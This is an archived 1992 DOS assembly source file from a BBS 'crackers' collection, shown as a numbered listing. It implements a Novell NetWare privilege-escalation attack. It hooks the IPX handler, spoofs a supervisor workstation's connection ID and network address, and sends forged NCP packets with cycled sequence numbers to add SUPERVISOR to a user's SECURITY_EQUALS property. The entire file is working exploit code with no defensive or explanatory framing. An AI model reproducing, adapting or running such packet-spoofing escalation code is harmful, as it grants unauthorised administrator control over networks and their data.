home *** CD-ROM | disk | FTP | other *** search
/ BBS 1 / BBS#1.iso / crackers / addsecur.arj / SUPRVISR.ASM < prev   
Assembly Source File  |  1992-08-13  |  4KB  |  266 lines

  1. ;***********************************************
  2. ; Change SECURITY_EQUALS for caller workstantion
  3. ;       
  4. ; Call:
  5. ;    ds:si - pointer to structure for determine
  6. ;        SUPERVISOR workstantion:
  7. ;  
  8. ;        db    ConnectionId
  9. ;        db    ?,?,?,?      ; Net address
  10. ;        db    ?,?,?,?,?,?  ; Node address
  11. ;***********************************************
  12.     assume    cs:code,ds:code
  13. code    segment word public 'CODE'
  14.  
  15.     public    CreateUser
  16. CreateUser    proc
  17.     push    ds
  18.     push    cs        ; Copy supervisor address
  19.     pop    ds
  20.     mov    di,offset NewID
  21.     mov    cx,11
  22.     cld
  23.     rep    movsb
  24.  
  25.     mov    ax,cs        ; Setup code segments
  26.     mov    ECBcs2,ax
  27.     mov    ECBcs3,ax
  28.  
  29.                 ; Get IPX address
  30.     mov    ax,7A00h
  31.     int    2Fh
  32.     cmp    al,0FFh
  33.     je      @@1
  34.     mov    al,1
  35.     pop    ds
  36.     stc
  37.     ret
  38. @@1:                              ; Change IPX reaction
  39.     push    es
  40.     push    di
  41.  
  42.     mov    di,offset SaveIPX
  43.     push    cs
  44.     pop    es
  45.     pop    si
  46.     pop    ds
  47.     push    ds
  48.     push    si
  49.     cld
  50.     mov    cx,3
  51.     rep    movsw
  52.     pop    di
  53.     push    di
  54.     push    ds
  55.     pop    es
  56.     mov    ax,09A2Eh
  57.     stosw
  58.     mov    ax,offset IPXnew
  59.     stosw
  60.     mov    ax,cs
  61.     stosw
  62.                 ; Call NET function
  63.     mov    ax,cs
  64.     mov    ds,ax
  65.     mov    es,ax
  66.     mov    si,offset NET_opn
  67.     mov    di,si
  68.     mov    ah,0E3h
  69.     int    21h
  70.                 ; Restore IPX
  71.     pop    di
  72.     pop    es
  73.     mov    ax,es
  74.     mov    word ptr IPXentry+2,ax
  75.     mov    word ptr IPXentry,di
  76.  
  77.     mov    si,offset SaveIPX
  78.     mov    cx,3
  79.     rep    movsw
  80.                 ; Change ID Connection
  81.     mov    al,NewID
  82.     mov    ConnId,al
  83.     mov    di,offset NetFr
  84.     mov    si,offset NewNet
  85.     mov    ax,cs
  86.     mov    ds,ax
  87.     mov    es,ax
  88.     cld
  89.     mov    cx,10
  90.     rep    movsb
  91.                     ; Get My Name
  92.     mov    ah,0DCh
  93.     int    21h
  94.     mov    connect,al
  95.     mov    si,offset ask
  96.     mov    di,offset reply
  97.     push    cs
  98.     pop    es
  99.     mov    ah,0E3h
  100.     int    21h
  101.                     ; Prepare packet
  102.     mov    si,offset reply+6
  103.     mov    di,offset User
  104.     movsw
  105.     push    di
  106.     xor    ax,ax
  107.     stosb
  108.     xor    cx,cx
  109. @@2:
  110.     lodsb
  111.     or    al,al
  112.     je    @@3
  113.     stosb
  114.     inc    cx
  115.     jmp    @@2
  116. @@3:
  117.     mov    ax,cx
  118.     mov    si,offset SecurAdd
  119.     mov    cx,29
  120.     rep    movsb
  121.     pop    di
  122.     stosb
  123.     mov    cl,NET_secur+1
  124.     xor    ch,ch
  125.     add    ax,cx
  126.     mov    NET_secur+1,al
  127.  
  128.                     ; Add SUPERVISOR to SECURITY_EQUALS
  129.     mov    si,offset NET_secur
  130.     mov    FCBaddr,si      ; address of 2nd fragment
  131.     mov    ax,[si]
  132.     xchg    ah,al
  133.     add    ax,2
  134.     mov    FCBlen,ax       ; length of 2nd fragment
  135.     add    ax,37        ; fragment 1
  136.     xchg    ah,al
  137.     mov    TotalLen,ax    ; total length of packet
  138.     mov    cx,120h
  139. @@4:
  140.     mov    al,SerialN
  141.     inc    al
  142.     mov    SerialN,al
  143.     push    cs
  144.     pop    es
  145.     mov    si,offset ECB
  146.     mov    bx,0Fh
  147.     push    cx
  148.     mov    bp,2        ; 2 fragments
  149.     call    dword ptr ds:IPXentry
  150.     pop    cx
  151. @@5:
  152.     mov    al,ECBuse
  153.     or    al,al
  154.     jne    @@5
  155.     loop    @@4
  156.  
  157.     pop    ds
  158.     ret
  159. CreateUser    endp
  160.  
  161. ; IPX subroutine
  162. IPXnew    proc    far
  163.     mov    cs:SavTemp,ax
  164.     pop    ax
  165.     mov    word ptr cs:RetAddr,ax
  166.     pop    ax
  167.     mov    word ptr cs:RetAddr+2,ax
  168.  
  169.     pushf
  170.     push    bx
  171.     and    bx,07FFFh
  172.     cmp    bx,0Fh
  173.     jne    @1
  174.     push    ds
  175.     push    es
  176.     push    si
  177.     push    di
  178.     push    es
  179.     pop    ds
  180.     push    cs
  181.     pop    es
  182.     mov    di,offset FCB1
  183.     lds    si,[si+36]
  184.     push    cx
  185.     mov    cx,37
  186.     cld
  187.     rep    movsb
  188.     pop    cx
  189.     pop    di
  190.     pop    si
  191.     pop    es
  192.     pop    ds
  193.     mov    ax,cs:SavTemp
  194. @1:
  195.     jmp    cs:RetAddr
  196. IPXnew    endp
  197. SavTemp dw    0
  198. RetAddr    dd    0
  199.  
  200. ;
  201. ;  Data area
  202. ;
  203. NewID    db    5
  204. NewNet    db    0,0,0,1
  205. NewNode    db    0,0,0,0,0,0EDh
  206.  
  207. SaveIPX    dw    0,0,0        ; For temporary save three word from IPX
  208. ask     dw      2
  209.     db    16h
  210. connect    db    0
  211. reply    dw    62
  212.     db    62 dup(?)
  213. IPXentry        dd    0
  214.  
  215. NET_opn    dw    1               ; Open bindery
  216.     db    69
  217.  
  218. NET_secur db    0,33        ; Add SUPERVISOR to SECURITY_EQUALS
  219.     db    41h
  220. User    db    0,1    ; Object Type
  221.     db      7
  222.     db    'NEWUSER'
  223.     db    100 dup(?)
  224.  
  225. SecurAdd db      0Fh
  226.     db    'SECURITY_EQUALS'
  227.     db    0,1
  228.     db    0Ah
  229.     db    'SUPERVISOR'
  230.  
  231. ECB    dd    ?         ; Link
  232.     dw    0,0           ; Event subroutine
  233. ECBuse    db    0         ; In use
  234.     db    0         ; Complete code
  235.     db    0,0         ; My socket
  236.     db    4 dup(0)     ; IPX workspace
  237.     db    12 dup(0)    ; Driver workspace
  238.     db    6 dup(0)    ; Immediate address
  239.     dw    2        ; Fragment Count
  240.     dw    FCB1
  241. ECBcs2    dw      0
  242.     dw    37
  243. FCBaddr    dw      0
  244. ECBcs3    dw    0
  245. FCBlen    dw    0
  246.  
  247. FCB1    dw    0FFFFh
  248. TotalLen dw    0
  249.     db    0        ; Transport control
  250.     db    11h        ; Netware Control Protocol type
  251.     db    0,0,0,1        ; Number net of receiver
  252.     db    0,0,0,0,0,80h    ; Node of receiver
  253.     db    4,51h        ; Number socket of receiver
  254. NetFr    db    0,0,0,1        ; Number net of sender
  255. NodeFr    db    0,0,0,0,0,0EBh    ; Node of sender
  256. SockFr    db    40h,03        ; Socket of sender
  257.     db    22h,22h
  258. SerialN    db    0        ; Number of packet (SPX)
  259. ConnId    db    0        ; Connection ID
  260. xxN    db    5        ; ??
  261.     db    0        ; already 0
  262.     db    17h        ; as function E3 for INT 21h
  263.  
  264. code    ends
  265.     end
  266.